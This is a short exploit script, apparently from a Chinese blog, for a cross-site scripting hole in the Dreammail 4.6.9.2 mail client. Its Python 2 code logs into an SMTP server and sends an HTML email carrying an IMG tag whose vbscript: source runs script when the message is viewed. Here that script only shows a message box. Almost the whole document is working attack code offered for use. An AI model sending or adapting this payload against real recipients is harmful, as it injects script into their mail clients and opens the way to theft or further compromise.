Dreammail V4.6.9.2 XSS漏洞利用

#-*- coding:UTF-8 -*-

#@小五义 http://www.cnblogs.com/xiaowuyi


import smtplib, urllib2
 
payload = '''<IMG SRC='vbscript:msgbox("Hello world!")'>'''
 
def sendMail(toemail, smtpsrv, username, password):
        msg  = "From: XXXX@126.com\n"
        msg += "To:YYYY@126.com\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: XSS payload\n"
        msg += "Content-type: text/html\n\n"
        msg += payload + "\r\n\r\n"
        server = smtplib.SMTP()
        server.connect(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(username, toemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()
 
username = "XXXX@126.com" #也可使用其它邮件服务器
password = "XXXXX"  #密码
toemail = "YYYY@126.com"
smtpsrv  = "smtp.126.com"
 
print "[*] Sending Email"
sendMail(toemail, smtpsrv, username, password)